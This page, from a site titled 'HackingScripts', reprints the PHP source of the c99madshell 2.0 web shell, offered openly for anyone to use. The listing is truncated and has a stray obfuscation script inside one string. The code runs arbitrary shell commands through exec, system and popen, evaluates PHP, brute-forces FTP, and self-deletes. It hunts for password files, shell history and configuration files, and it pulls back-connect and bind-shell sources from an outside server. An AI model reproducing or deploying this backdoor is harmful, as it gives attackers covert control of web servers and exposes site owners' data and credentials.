HackingScripts

Hack Scripts for everybody

c99madshell Script

12 Feb 2014

This is the ‘2.0 madnet edition’ of the original c99 shell

c99madshell Source Code

   1 <?php
   2 if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
   3 error_reporting(5);
   4 @ignore_user_abort(TRUE);
   5 @set_magic_quotes_runtime(0);
   6 $win = strtolower(substr(PHP_OS,0,3)) == "win";
   7 define("starttime",getmicrotime());
   8 if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
   9 $_REQUEST = array_merge($_COOKIE,$_POST);
  10 foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  11 $shver = "2.0 madnet edition";
  12 if (empty($surl))
  13 {
  14  $surl = $_SERVER['PHP_SELF'];
  15 }
  16 $surl = htmlspecialchars($surl);
  17 
  18 $timelimit = 0;
  19 $host_allow = array("*");
  20 $login_txt = "Admin area";
  21 $accessdeniedmess = "<a href=\"http://securityprobe.net\">c99madshell v.".$shver."</a>: access denied";
  22 $gzipencode = TRUE;
  23 $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  24 $filestealth = TRUE;
  25 $donated_html = "<center><b>Owned by root</b></center>";
  26 $donated_act = array("");
  27 $curdir = "./";
  28 $tmpdir = "";
  29 $tmpdir_log = "./";
  30 
  31 $log_email = "user@host.gov
  32 /* <![CDATA[ */
  33 (function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
  34 /* ]]> */
  35 ";
  36 $sort_default = "0a";
  37 $sort_save = TRUE;
  38 
  39 $ftypes  = array(
  40  "html"=>array("html","htm","shtml"),
  41  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  42  "exe"=>array("sh","install","bat","cmd"),
  43  "ini"=>array("ini","inf"),
  44  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  45  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  46  "sdb"=>array("sdb"),
  47  "phpsess"=>array("sess"),
  48  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  49 );
  50 
  51 
  52 $exeftypes  = array(
  53  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  54  "perl %f%" => array("pl","cgi")
  55 );
  56 
  57 $regxp_highlight  = array(
  58   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"),
  59   array("config.php",1) // example
  60 );
  61 
  62 $safemode_diskettes = array("a");
  63 $hexdump_lines = 8;
  64 $hexdump_rows = 24;
  65 $nixpwdperpage = 100;
  66 $bindport_pass = "c99mad";
  67 $bindport_port = "31373";
  68 $bc_port = "31373";
  69 $datapipe_localport = "8081";
  70 if (!$win)
  71 {
  72  $cmdaliases = array(
  73   array("-----------------------------------------------------------", "ls -la"),
  74   array("find all suid files", "find / -type f -perm -04000 -ls"),
  75   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  76   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  77   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  78   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  79   array("find config* files", "find / -type f -name \"config*\""),
  80   array("find config* files in current dir", "find . -type f -name \"config*\""),
  81   array("find all writable folders and files", "find / -perm -2 -ls"),
  82   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  83   array("find all service.pwd files", "find / -type f -name service.pwd"),
  84   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  85   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  86   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  87   array("find all .bash_history files", "find / -type f -name .bash_history"),
  88   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  89   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  90   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  91   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  92   array("show opened ports", "netstat -an | grep -i listen")
  93  );
  94 }
  95 else
  96 {
  97  $cmdaliases = array(
  98   array("-----------------------------------------------------------", "dir"),
  99   array("show opened ports", "netstat -an")
 100  );
 101 }
 102 
 103 $sess_cookie = "c99shvars";
 104 
 105 $usefsbuff = TRUE;
 106 $copy_unset = FALSE;
 107 
 108 $quicklaunch = array(
 109  array("<b><hr>HOME</b>",$surl),
 110  array("<b><=</b>","#\" onclick=\"history.back(1)"),
 111  array("<b>=></b>","#\" onclick=\"history.go(1)"),
 112  array("<b>UPDIR</b>","#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='%upd';document.todo.sort.value='%sort';document.todo.submit();"),
 113  array("<b>Search</b>","#\" onclick=\"document.todo.act.value='search';document.todo.d.value='%d';document.todo.submit();"),
 114  array("<b>Buffer</b>","#\" onclick=\"document.todo.act.value='fsbuff';document.todo.d.value='%d';document.todo.submit();"),
 115  array("<b>Tools</b>","#\" onclick=\"document.todo.act.value='tools';document.todo.d.value='%d';document.todo.submit();"),
 116  array("<b>Proc.</b>","#\" onclick=\"document.todo.act.value='processes';document.todo.d.value='%d';document.todo.submit();"),
 117  array("<b>FTP brute</b>","#\" onclick=\"document.todo.act.value='ftpquickbrute';document.todo.d.value='%d';document.todo.submit();"),
 118  array("<b>Sec.</b>","#\" onclick=\"document.todo.act.value='security';document.todo.d.value='%d';document.todo.submit();"),
 119  array("<b>SQL</b>","#\" onclick=\"document.todo.act.value='sql';document.todo.d.value='%d';document.todo.submit();"),
 120  array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value='eval';document.todo.d.value='%d';document.todo.submit();"),
 121  array("<b>Self remove</b>","#\" onclick=\"document.todo.act.value='selfremove';document.todo.submit();"),
 122  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
 123 );
 124 
 125 $highlight_background = "#c0c0c0";
 126 $highlight_bg = "#FFFFFF";
 127 $highlight_comment = "#6A6A6A";
 128 $highlight_default = "#0000BB";
 129 $highlight_html = "#1300FF";
 130 $highlight_keyword = "#007700";
 131 $highlight_string = "#000000";
 132 
 133 @$f = $_REQUEST["f"];
 134 @extract($_REQUEST["c99shcook"]);
 135 /////////////////////////////////////
 136 @set_time_limit(0);
 137 $tmp = array();
 138 foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".*",preg_quote($v));}
 139 $s = "!^(".implode("|",$tmp).")$!i";
 140 if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://securityprobe.net\">c99madshell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
 141 if (!empty($login))
 142 {
 143  if (empty($md5_pass)) {$md5_pass = md5($pass);}
 144  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 145  {
 146   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
 147   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
 148   header("HTTP/1.0 401 Unauthorized");
 149   exit($accessdeniedmess);
 150  }
 151 }
 152 
 153 if (isset($_POST['act'])) $act  = $_POST['act'];
 154 if (isset($_POST['d'])) $d    = urldecode($_POST['d']);
 155 if (isset($_POST['sort'])) $sort = $_POST['sort'];
 156 if (isset($_POST['f'])) $f    = $_POST['f'];
 157 if (isset($_POST['ft'])) $ft   = $_POST['ft'];
 158 if (isset($_POST['grep'])) $grep = $_POST['grep'];
 159 if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
 160 if (isset($_POST['pid'])) $pid  = $_POST['pid'];
 161 if (isset($_POST['sig'])) $sig  = $_POST['sig'];
 162 if (isset($_POST['base64'])) $base64  = $_POST['base64'];
 163 if (isset($_POST['fullhexdump'])) $fullhexdump  = $_POST['fullhexdump'];
 164 if (isset($_POST['c'])) $c  = $_POST['c'];
 165 if (isset($_POST['white'])) $white  = $_POST['white'];
 166 if (isset($_POST['nixpasswd'])) $nixpasswd  = $_POST['nixpasswd'];
 167 
 168 $lastdir = realpath(".");
 169 chdir($curdir);
 170 $sess_data = unserialize($_COOKIE["$sess_cookie"]);
 171 if (!is_array($sess_data)) {$sess_data = array();}
 172 if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
 173 if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
 174 
 175 $disablefunc = @ini_get("disable_functions");
 176 if (!empty($disablefunc))
 177 {
 178  $disablefunc = str_replace(" ","",$disablefunc);
 179  $disablefunc = explode(",",$disablefunc);
 180 }
 181 
 182 if (!function_exists("c99_buff_prepare"))
 183 {
 184 function c99_buff_prepare()
 185 {
 186  global $sess_data;
 187  global $act;
 188  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
 189  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
 190  $sess_data["copy"] = array_unique($sess_data["copy"]);
 191  $sess_data["cut"] = array_unique($sess_data["cut"]);
 192  sort($sess_data["copy"]);
 193  sort($sess_data["cut"]);
 194  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 195  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
 196 }
 197 }
 198 c99_buff_prepare();
 199 if (!function_exists("c99_sess_put"))
 200 {
 201 function c99_sess_put($data)
 202 {
 203  global $sess_cookie;
 204  global $sess_data;
 205  c99_buff_prepare();
 206  $sess_data = $data;
 207  $data = serialize($data);
 208  setcookie($sess_cookie,$data);
 209 }
 210 }
 211 foreach (array("sort","sql_sort") as $v)
 212 {
 213  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
 214 }
 215 if ($sort_save)
 216 {
 217  if (!empty($sort)) {setcookie("sort",$sort);}
 218  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
 219 }
 220 if (!function_exists("str2mini"))
 221 {
 222 function str2mini($content,$len)
 223 {
 224  if (strlen($content) > $len)
 225  {
 226   $len = ceil($len/2) - 2;
 227   return substr($content, 0,$len)."...".substr($content,-$len);
 228  }
 229  else {return $content;}
 230 }
 231 }
 232 if (!function_exists("view_size"))
 233 {
 234 function view_size($size)
 235 {
 236  if (!is_numeric($size)) {return FALSE;}
 237  else
 238  {
 239   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
 240   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
 241   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
 242   else {$size = $size . " B";}
 243   return $size;
 244  }
 245 }
 246 }
 247 if (!function_exists("fs_copy_dir"))
 248 {
 249 function fs_copy_dir($d,$t)
 250 {
 251  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 252  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 253  $h = opendir($d);
 254  while (($o = readdir($h)) !== FALSE)
 255  {
 256   if (($o != ".") and ($o != ".."))
 257   {
 258    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 259    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 260    if (!$ret) {return $ret;}
 261   }
 262  }
 263  closedir($h);
 264  return TRUE;
 265 }
 266 }
 267 if (!function_exists("fs_copy_obj"))
 268 {
 269 function fs_copy_obj($d,$t)
 270 {
 271  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 272  $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
 273  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 274  if (is_dir($d))
 275  {
 276   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 277   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
 278   return fs_copy_dir($d,$t);
 279  }
 280  elseif (is_file($d)) {return copy($d,$t);}
 281  else {return FALSE;}
 282 }
 283 }
 284 if (!function_exists("fs_move_dir"))
 285 {
 286 function fs_move_dir($d,$t)
 287 {
 288  $h = opendir($d);
 289  if (!is_dir($t)) {mkdir($t);}
 290  while (($o = readdir($h)) !== FALSE)
 291  {
 292   if (($o != ".") and ($o != ".."))
 293   {
 294    $ret = TRUE;
 295    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
 296    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
 297    if (!$ret) {return $ret;}
 298   }
 299  }
 300  closedir($h);
 301  return TRUE;
 302 }
 303 }
 304 if (!function_exists("fs_move_obj"))
 305 {
 306 function fs_move_obj($d,$t)
 307 {
 308  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 309  $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
 310  if (is_dir($d))
 311  {
 312   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 313   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
 314   return fs_move_dir($d,$t);
 315  }
 316  elseif (is_file($d))
 317  {
 318   if(copy($d,$t)) {return unlink($d);}
 319   else {unlink($t); return FALSE;}
 320  }
 321  else {return FALSE;}
 322 }
 323 }
 324 if (!function_exists("fs_rmdir"))
 325 {
 326 function fs_rmdir($d)
 327 {
 328  $h = opendir($d);
 329  while (($o = readdir($h)) !== FALSE)
 330  {
 331   if (($o != ".") and ($o != ".."))
 332   {
 333    if (!is_dir($d.$o)) {unlink($d.$o);}
 334    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
 335   }
 336  }
 337  closedir($h);
 338  rmdir($d);
 339  return !is_dir($d);
 340 }
 341 }
 342 if (!function_exists("fs_rmobj"))
 343 {
 344 function fs_rmobj($o)
 345 {
 346  $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
 347  if (is_dir($o))
 348  {
 349   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
 350   return fs_rmdir($o);
 351  }
 352  elseif (is_file($o)) {return unlink($o);}
 353  else {return FALSE;}
 354 }
 355 }
 356 if (!function_exists("myshellexec"))
 357 {
 358 function myshellexec($cmd)
 359 {
 360  global $disablefunc;
 361  $result = "";
 362  if (!empty($cmd))
 363  {
 364   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
 365 ",$result);}
 366   elseif (($result = `$cmd`) !== FALSE) {}
 367   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
 368   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
 369   elseif (is_resource($fp = popen($cmd,"r")))
 370   {
 371    $result = "";
 372    while(!feof($fp)) {$result .= fread($fp,1024);}
 373    pclose($fp);
 374   }
 375  }
 376  return $result;
 377 }
 378 }
 379 if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
 380 if (!function_exists("view_perms"))
 381 {
 382 function view_perms($mode)
 383 {
 384  if (($mode & 0xC000) === 0xC000) {$type = "s";}
 385  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 386  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 387  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 388  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 389  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 390  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 391  else {$type = "?";}
 392 
 393  $owner["read"] = ($mode & 00400)?"r":"-";
 394  $owner["write"] = ($mode & 00200)?"w":"-";
 395  $owner["execute"] = ($mode & 00100)?"x":"-";
 396  $group["read"] = ($mode & 00040)?"r":"-";
 397  $group["write"] = ($mode & 00020)?"w":"-";
 398  $group["execute"] = ($mode & 00010)?"x":"-";
 399  $world["read"] = ($mode & 00004)?"r":"-";
 400  $world["write"] = ($mode & 00002)? "w":"-";
 401  $world["execute"] = ($mode & 00001)?"x":"-";
 402 
 403  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 404  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 405  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
 406 
 407  return $type.join("",$owner).join("",$group).join("",$world);
 408 }
 409 }
 410 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
 411 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
 412 if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
 413 if (!function_exists("parse_perms"))
 414 {
 415 function parse_perms($mode)
 416 {
 417  if (($mode & 0xC000) === 0xC000) {$t = "s";}
 418  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 419  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 420  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 421  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 422  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 423  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 424  else {$t = "?";}
 425  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 426  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 427  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 428  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
 429 }
 430 }
 431 if (!function_exists("parsesort"))
 432 {
 433 function parsesort($sort)
 434 {
 435  $one = intval($sort);
 436  $second = substr($sort,-1);
 437  if ($second != "d") {$second = "a";}
 438  return array($one,$second);
 439 }
 440 }
 441 if (!function_exists("view_perms_color"))
 442 {
 443 function view_perms_color($o)
 444 {
 445  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
 446  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
 447  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
 448 }
 449 }
 450 if (!function_exists("c99getsource"))
 451 {
 452 function c99getsource($fn)
 453 {
 454  global $c99sh_sourcesurl;
 455  $array = array(
 456   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
 457   "c99sh_bindport.c" => "c99sh_bindport_c.txt",
 458   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
 459   "c99sh_backconn.c" => "c99sh_backconn_c.txt",
 460   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
 461   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
 462  );
 463  $name = $array[$fn];
 464  if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
 465  else {return FALSE;}
 466 }
 467 }
 468 if (!function_exists("mysql_dump"))
 469 {
 470 function mysql_dump($set)
 471 {
 472  global $shver;
 473  $sock = $set["sock"];
 474  $db = $set["db"];
 475  $print = $set["print"];
 476  $nl2br = $set["nl2br"];
 477  $file = $set["file"];
 478  $add_drop = $set["add_drop"];
 479  $tabs = $set["tabs"];
 480  $onlytabs = $set["onlytabs"];
 481  $ret = array();
 482  $ret["err"] = array();
 483  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 484  if (empty($db)) {$db = "db";}
 485  if (empty($print)) {$print = 0;}
 486  if (empty($nl2br)) {$nl2br = 0;}
 487  if (empty($add_drop)) {$add_drop = TRUE;}
 488  if (empty($file))
 489  {
 490   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 491  }
 492  if (!is_array($tabs)) {$tabs = array();}
 493  if (empty($add_drop)) {$add_drop = TRUE;}
 494  if (sizeof($tabs) == 0)
 495  {
 496   // retrive tables-list
 497   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
 498   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 499  }
 500  $out = "# Dumped by C99madShell.SQL v. ".$shver."
 501 # Home page: http://securityprobe.net
 502 #
 503 # Host settings:
 504 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
 505 # Date: ".date("d.m.Y H:i:s")."
 506 # DB: \"".$db."\"
 507 #---------------------------------------------------------
 508 ";
 509  $c = count($onlytabs);
 510  foreach($tabs as $tab)
 511  {
 512   if ((in_array($tab,$onlytabs)) or (!$c))
 513   {
 514    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
 515 ";}
 516    // recieve query for create table structure
 517    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
 518    if (!$res) {$ret["err"][] = mysql_smarterror();}
 519    else
 520    {
 521     $row = mysql_fetch_row($res);
 522     $out .= $row["1"].";
 523 
 524 ";
 525     // recieve table variables
 526     $res = mysql_query("SELECT * FROM `$tab`", $sock);
 527     if (mysql_num_rows($res) > 0)
 528     {
 529      while ($row = mysql_fetch_assoc($res))
 530      {
 531       $keys = implode("`, `", array_keys($row));
 532       $values = array_values($row);
 533       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
 534       $values = implode("', '", $values);
 535       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
 536 ";
 537       $out .= $sql;
 538      }
 539     }
 540    }
 541   }
 542  }
 543  $out .= "#---------------------------------------------------------------------------------
 544 
 545 ";
 546  if ($file)
 547  {
 548   $fp = fopen($file, "w");
 549   if (!$fp) {$ret["err"][] = 2;}
 550   else
 551   {
 552    fwrite ($fp, $out);
 553    fclose ($fp);
 554   }
 555  }
 556  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 557  return $out;
 558 }
 559 }
 560 if (!function_exists("mysql_buildwhere"))
 561 {
 562 function mysql_buildwhere($array,$sep=" and",$functs=array())
 563 {
 564  if (!is_array($array)) {$array = array();}
 565  $result = "";
 566  foreach($array as $k=>$v)
 567  {
 568   $value = "";
 569   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
 570   $value .= "'".addslashes($v)."'";
 571   if (!empty($functs[$k])) {$value .= ")";}
 572   $result .= "`".$k."` = ".$value.$sep;
 573  }
 574  $result = substr($result,0,strlen($result)-strlen($sep));
 575  return $result;
 576 }
 577 }
 578 if (!function_exists("mysql_fetch_all"))
 579 {
 580 function mysql_fetch_all($query,$sock)
 581 {
 582  if ($sock) {$result = mysql_query($query,$sock);}
 583  else {$result = mysql_query($query);}
 584  $array = array();
 585  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 586  mysql_free_result($result);
 587  return $array;
 588 }
 589 }
 590 if (!function_exists("mysql_smarterror"))
 591 {
 592 function mysql_smarterror($type,$sock)
 593 {
 594  if ($sock) {$error = mysql_error($sock);}
 595  else {$error = mysql_error();}
 596  $error = htmlspecialchars($error);
 597  return $error;
 598 }
 599 }
 600 if (!function_exists("mysql_query_form"))
 601 {
 602 function mysql_query_form()
 603 {
 604  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 605  $sql_query = urldecode($sql_query);
 606  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 607  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 608  if ((!$submit) or ($sql_act))
 609  {
 610   echo "<table border=0><tr><td><form method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
 611   if ($tbl_struct)
 612   {
 613    echo "<td valign=\"top\"><b>Fields:</b><br>";
 614    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
 615    echo "</td></tr></table>";
 616   }
 617  }
 618  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
 619 }
 620 }
 621 if (!function_exists("mysql_create_db"))
 622 {
 623 function mysql_create_db($db,$sock="")
 624 {
 625  $sql = "CREATE DATABASE `".addslashes($db)."`;";
 626  if ($sock) {return mysql_query($sql,$sock);}
 627  else {return mysql_query($sql);}
 628 }
 629 }
 630 if (!function_exists("mysql_query_parse"))
 631 {
 632 function mysql_query_parse($query)
 633 {
 634  $query = trim($query);
 635  $arr = explode (" ",$query);
 636  /*array array()
 637  {
 638   "METHOD"=>array(output_type),
 639   "METHOD1"...
 640   ...
 641  }
 642  if output_type == 0, no output,
 643  if output_type == 1, no output if no error
 644  if output_type == 2, output without control-buttons
 645  if output_type == 3, output with control-buttons
 646  */
 647  $types = array(
 648   "SELECT"=>array(3,1),
 649   "SHOW"=>array(2,1),
 650   "DELETE"=>array(1),
 651   "DROP"=>array(1)
 652  );
 653  $result = array();
 654  $op = strtoupper($arr[0]);
 655  if (is_array($types[$op]))
 656  {
 657   $result["propertions"] = $types[$op];
 658   $result["query"]  = $query;
 659   if ($types[$op] == 2)
 660   {
 661    foreach($arr as $k=>$v)
 662    {
 663     if (strtoupper($v) == "LIMIT")
 664     {
 665      $result["limit"] = $arr[$k+1];
 666      $result["limit"] = explode(",",$result["limit"]);
 667      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
 668      unset($arr[$k],$arr[$k+1]);
 669     }
 670    }
 671   }
 672  }
 673  else {return FALSE;}
 674 }
 675 }
 676 if (!function_exists("c99fsearch"))
 677 {
 678 function c99fsearch($d)
 679 {
 680  global $found;
 681  global $found_d;
 682  global $found_f;
 683  global $search_i_f;
 684  global $search_i_d;
 685  global $a;
 686  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 687  $h = opendir($d);
 688  while (($f = readdir($h)) !== FALSE)
 689  {
 690   if($f != "." && $f != "..")
 691   {
 692    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
 693    if (is_dir($d.$f))
 694    {
 695     $search_i_d++;
 696     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
 697     if (!is_link($d.$f)) {c99fsearch($d.$f);}
 698    }
 699    else
 700    {
 701     $search_i_f++;
 702     if ($bool)
 703     {
 704      if (!empty($a["text"]))
 705      {
 706       $r = @file_get_contents($d.$f);
 707       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
 708       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
 709       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
 710       else {$bool = strpos(" ".$r,$a["text"],1);}
 711       if ($a["text_not"]) {$bool = !$bool;}
 712       if ($bool) {$found[] = $d.$f; $found_f++;}
 713      }
 714      else {$found[] = $d.$f; $found_f++;}
 715     }
 716    }
 717   }
 718  }
 719  closedir($h);
 720 }
 721 }
 722 if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
 723 //Sending headers
 724 @ob_start();
 725 @ob_implicit_flush(0);
